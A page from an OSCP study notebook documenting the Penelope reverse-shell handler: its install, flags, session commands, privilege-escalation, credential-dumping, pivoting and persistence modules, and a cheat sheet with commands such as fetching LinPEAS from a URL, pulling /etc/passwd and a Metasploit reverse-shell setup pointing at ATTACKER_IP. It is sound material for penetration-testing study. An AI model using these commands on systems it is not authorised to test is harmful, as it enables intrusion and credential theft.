Penelope — Shell Handler

Ctrl+F: penelope · F12 · -O · oscp-safe · -s · upload · download · script · run linpeas · ~/.penelope

Repo: brightio/penelope

Modern reverse/bind shell handler — drop-in upgrade from nc / rlwrap nc. Auto PTY upgrade, session logging, file transfer, in-memory script execution, modules (LinPEAS, lse, linux-exploit-suggester), multi-session tabs, HTTP file server.

OSCP: Core shell handling is exam-appropriate; use penelope -O (--oscp-safe) to disable risky auto-modules. Avoid traitor (auto privesc) and use meterpreter only if current rules allow.

→ Shell · rlwrap · Netcat · File Transfer · Privesc Tools

📌 Installation

Requires Python 3.6+ on attacker (Linux, macOS, FreeBSD).

Kali Linux (recommended)

sudo apt update
sudo apt install penelope
penelope -h

→ Installation - Kali Setup

Standalone (no install — stdlib only)

wget -q https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py && python3 penelope.py

pipx

pipx install git+https://github.com/brightio/penelope
# Stable PyPI release:
pipx install penelope-shell-handler

📌 Features overview

Session features (by target OS)

Feature	Unix-like	Windows
Auto-upgrade shell	PTY	readline (*)
Real-time terminal resize	✅	❌
Logging shell activity	✅	✅
Download remote files/folders	✅	✅
Upload local/HTTP files/folders	✅	✅
In-memory script exec + live output save	✅	❌
Local port forwarding	✅	❌
Multi-tab / multi-host shells	✅	❌
Auto-maintain N shells per host (re-spawn)	✅	❌

(*) Windows: manually upgrade to PTY when possible. Windows support is experimental.

Global features

Multiple sessions + multiple listeners
HTTP file/folder serve (-s)
Importable from Python exploits (exploit_examples)
Metasploit: set DisablePayloadHandler True then use Penelope listener
MCP server (--mcp) — local HTTP, token auth (~/.penelope/mcp.json)

📌 Typical usage (CLI)

penelope                          # Listen 0.0.0.0:4444 (reverse shells)
penelope -p 5555                  # Listen on 5555
penelope -p 4444,5555             # Multiple listeners
penelope -i eth0 -p 5555          # Bind to interface
penelope -a                       # Listen + show sample reverse-shell payloads
 
penelope -c target -p 3333        # Connect to bind shell on target:3333
 
penelope ssh user@target          # SSH reverse shell → local :4444
penelope -p 5555 ssh user@target
penelope -i eth0 -p 5555 -- ssh -l user -p 2222 target
 
penelope -O -p 4444               # OSCP-safe mode
penelope -O -p 80                 # Lab example — listener on 80

Trigger reverse shell on target → Penelope auto-attaches, upgrades PTY, logs session.

→ Payloads: Reverse Shell - Base64 bash-c echo and One-Liners · penelope -a for built-in examples

📌 HTTP file server (`-s`)

Quick alternative to python3 -m http.server:

penelope -s file.txt                 # Single file on 0.0.0.0:8000
penelope -s /path/to/dir             # Whole folder
penelope -s a.sh b.elf notes.txt       # Multiple items
penelope -s . -p 80                  # Current dir on port 80
penelope -s secret.txt -prefix xk9   # URL: /xk9/secret.txt
penelope -s -u                       # Upload mode (PUT/POST → CWD)
penelope -s -u -ud /tmp/loot         # Uploads saved to /tmp/loot

Penelope prints ready-to-paste URLs per interface on start.

→ File Transfer · Ligolo-ng > 📌 File transfer through tunnel (listener + HTTP)

Action	How
Detach shell → menu	`F12` (PTY) · `Ctrl-D` (readline) · `Ctrl-C` (raw/basic shell)
Re-enter session	`interact 1` or short `i 1`
TAB completion	Yes — commands + short aliases

When you attach, Penelope shows which key detaches for that session type.

Session operations

Command	Short	Description
`run [module]`	—	Run a built-in module (see below)
`upload <path\|URL>...`	—	Upload local files, folders, or HTTP(S)/FTP URLs to target
`download <remote>... [-o dir]`	—	Download files/folders from target
`open <remote>...`	—	Download + open with local default app
`script <file\|URL>`	—	In-memory execute script; stream output to local file (Unix)
`exec <command>`	—	Run command on target; print output (non-interactive)
`upgrade [ID]`	—	Upgrade session to PTY
`spawn [port] [host]`	—	Spawn another shell from current target
`maintain <NUM>`	—	Keep NUM active shells per host (auto re-spawn)
`portfwd <spec>`	—	Local/remote port forward · `portfwd stop <id>`

Example workflow (from upstream docs):

Auto PTY shell + logged session
script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh — LinPEAS in memory, output saved locally
Second tab: spawn / interact 2
upload linpeas + lse to target
upload folder of custom scripts
upload exploit from URL (exploit-db)
open remote file locally
download /etc — pull remote directory
maintain 2 — replace dead shells automatically

Session management

Command	Short	Description
`sessions [ID]`	—	List sessions or switch
`use <ID>`	—	Select session context
`interact <ID>`	`i`	Attach to session
`kill <ID\|*>`	—	Kill session(s)
`dir [ID]`	`.`	Open session log folder locally

Shell / listener management

Command	Description
`listeners`	View listeners
`listeners add [-i iface] [-p ports] [-j host:port]`	Add listener
`listeners stop <id\|*>`	Stop listener
`connect <host> <port>`	Connect to bind shell
`payloads [interface]`	Show reverse-shell one-liners for active listeners
`Interfaces`	List local network interfaces

Miscellaneous

Command	Description
`modules`	List available modules
`help run`	Module details
`history`	Command history
`cd` / `lcd <path>`	Remote / local working dir (menu context)
`reset`	Reset terminal
`reload`	Reload rc file
`SET [option [value]]`	View/set options
`DEBUG`	Toggle debug
`exit` / `q`	Quit Penelope

📌 Built-in modules (`run <name>`)

Module	Category	What it does
`peass_ng`	PrivEsc	Run latest LinPEAS in memory (Unix)
`lse`	PrivEsc	Run latest lse.sh in memory
`linuxexploitsuggester`	PrivEsc	Run linux-exploit-suggester
`upload_privesc_scripts`	PrivEsc	Upload linpeas, lse, deepce, pspy / winpeas, powerup, etc.
`upload_potato`	PrivEsc	Upload GodPotato, SigmaPotato, PrintSpoofer
`upload_local_exploits`	PrivEsc	Upload DirtyFrag, DirtyPipe
`traitor`	PrivEsc	Upload Traitor (auto privesc — avoid on OSCP)
`upload_credump_scripts`	Cred dump	Mimikatz, LaZagne, Snaffler, SharpWeb
`upload_ad_scripts`	AD	PowerView, SharpHound, GhostPack, adPEAS
`uac`	Forensics	Unix Artifacts Collector
`linux_procmemdump`	Forensics	Process memory dump (needs root)
`ligolo`	Pivoting	Upload Ligolo-ng agent
`chisel`	Pivoting	Upload Chisel
`ngrok`	Pivoting	TCP tunnel via ngrok
`panix`	Persistence	Upload PANIX
`meterpreter`	—	Spawn Meterpreter session
`cleanup`	—	Remove uploaded files/dirs from target

# In main menu (after F12)
run peass_ng
run lse
run upload_potato
run cleanup

→ lse - Linux Smart Enumeration · linux-exploit-suggester · PrintSpoofer · Ligolo-ng · Chisel

📌 Command-line options (full)

positional arguments:
  args                          Args for -s/--serve and SSH reverse shell modes

options:
  -p, --ports                   Ports (comma separated) — listen/connect/serve
                                (Default: 4444/5555/8000)

Reverse or Bind shell?:
  -i, --interface               Local interface/IP (Default: 0.0.0.0)
  -c, --connect                 Bind shell host
  -j, --jump                    Reverse shell jump endpoints

Hints:
  -a, --payloads                Show sample reverse shell payloads
  -l, --interfaces              List network interfaces
  -h, --help                    Help

Session Logging:
  -L, --no-log                  Disable session log files
  -T, --no-timestamps           Disable timestamps in logs
  -CT, --no-colored-timestamps  Disable colored timestamps

Misc:
  -M, --menu                    Start in Main Menu
  -m, --maintain                Keep N sessions per target
  -S, --single-session          Only first session
  -ms, --max-sessions           Max sessions per host (default 5; 0 = reject new)
  -C, --no-attach               Don't auto-attach new sessions
  -U, --no-upgrade              Disable shell auto-upgrade
  -H, --keep-history            Keep target shell history
  -O, --oscp-safe               OSCP-safe mode
  --no-disk                     All state in RAM (tmpfs)

MCP:
  --mcp                         Enable MCP server (127.0.0.1, token auth)
  --mcp-host / --mcp-port / --mcp-token

File server:
  -s, --serve                   HTTP file server mode
  -prefix, --url-prefix         URL path prefix
  -u, --upload                  Accept PUT/POST uploads
  -ud, --upload-dir             Upload destination dir

Debug:
  -N, --no-bins                 Simulate missing target binaries
  -v, --version
  -d, --debug
  -dd, --dev-mode
  -cu, --check-urls             Check hardcoded URLs health

OSCP-relevant flags

Flag	Use
`-O` / `--oscp-safe`	Disable modules/behavior that violate exam rules
`-L`	No log files (less sensitive data on disk)
`--no-disk`	Nothing persisted to disk
`-m N`	Maintain N shells — unstable exam boxes

📌 vs nc / rlwrap

	`nc` / `rlwrap nc`	Penelope
PTY upgrade	Manual python3 pty	Automatic
File transfer	Separate tools	upload/download built-in
LinPEAS	wget + run	`run peass_ng` or `script <url>`
Multi-session	One terminal per nc	Tabs / interact 1,2,3
Logging	None	Auto session logs
Exam	Always OK	Use `-O`

→ rlwrap when Penelope unavailable

📌 Metasploit integration

# Terminal 1
penelope -p 4444
 
# msfconsole
set DisablePayloadHandler True
use exploit/...
set payload linux/x64/shell_reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
run

📌 Security notes

Session logs may contain passwords — store securely; use -L if not needed
Reverse/bind shells are unencrypted
Remote output may include terminal escape sequences (same as SSH/nc)
--mcp: bearer token in ~/.penelope/mcp.json — full session control

📌 FAQ (OSCP)

Allowed on OSCP? Core shell handling (listen, PTY, transfer) is generally fine; rules change — verify OffSec docs. Use -O. Avoid traitor; meterpreter only if rules permit.

Return to menu? PTY → F12; readline → Ctrl-D; raw → Ctrl-C (shown on attach).

Customize defaults / modules: peneloperc

CWD wrong after menu commands? Agent tracks initial shell user/dir — cd /tmp before spawning new shell, or open fresh reverse shell as new user.

📌 Troubleshooting

Problem	Fix
Port 4444 in use	Port in Use - kill listener · `pkill -f penelope`
Stale sessions / weird state	Wipe local state (below)
Module blocked on exam	`penelope -O`
Windows shell limited	`upgrade` · experimental Windows support

Safest fix: wipe Penelope’s local state

Removes saved sessions/cache on Kali — does not uninstall Penelope:

rm -rf ~/.penelope

Then restart penelope. Also clears MCP token/port cache in ~/.penelope/mcp.json.

📌 Quick cheat sheet

# Listen (OSCP)
penelope -O -p 4444
penelope -a                    # show payloads
 
# HTTP serve
penelope -s /home/kali/tools -p 8080
 
# In menu (F12 to get here)
sessions
i 1                            # interact session 1
run peass_ng
run lse
upload /home/kali/tools/PrintSpoofer64.exe C:\\Users\\Public\\
download /etc/passwd
script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
maintain 2
listeners add -p 5555
payloads
kill 1
exit
 
# Reset state
rm -rf ~/.penelope
pkill -f penelope

tags	penelope, shell-handler, reverse-shell, listener, pty, upload, download, linpeas, oscp, file-transfer
aliases	penelope.py, Penelope shell handler

Pearson's OSCP Notebook

Explorer

Penelope

Penelope — Shell Handler

📌 Installation

Kali Linux (recommended)

Standalone (no install — stdlib only)

pipx

📌 Features overview

Session features (by target OS)

Global features

📌 Typical usage (CLI)

📌 HTTP file server (`-s`)

📌 Main menu — navigation

Session operations

Session management

Shell / listener management

Miscellaneous

📌 Built-in modules (`run <name>`)

📌 Command-line options (full)

OSCP-relevant flags

📌 vs nc / rlwrap

📌 Metasploit integration

📌 Security notes

📌 FAQ (OSCP)

📌 Troubleshooting

Safest fix: wipe Penelope’s local state

📌 Quick cheat sheet

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

Penelope

Penelope — Shell Handler

📌 Installation

Kali Linux (recommended)

Standalone (no install — stdlib only)

pipx

📌 Features overview

Session features (by target OS)

Global features

📌 Typical usage (CLI)

📌 HTTP file server (-s)

📌 Main menu — navigation

Session operations

Session management

Shell / listener management

Miscellaneous

📌 Built-in modules (run <name>)

📌 Command-line options (full)

OSCP-relevant flags

📌 vs nc / rlwrap

📌 Metasploit integration

📌 Security notes

📌 FAQ (OSCP)

📌 Troubleshooting

Safest fix: wipe Penelope’s local state

📌 Quick cheat sheet

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks

📌 HTTP file server (`-s`)

📌 Built-in modules (`run <name>`)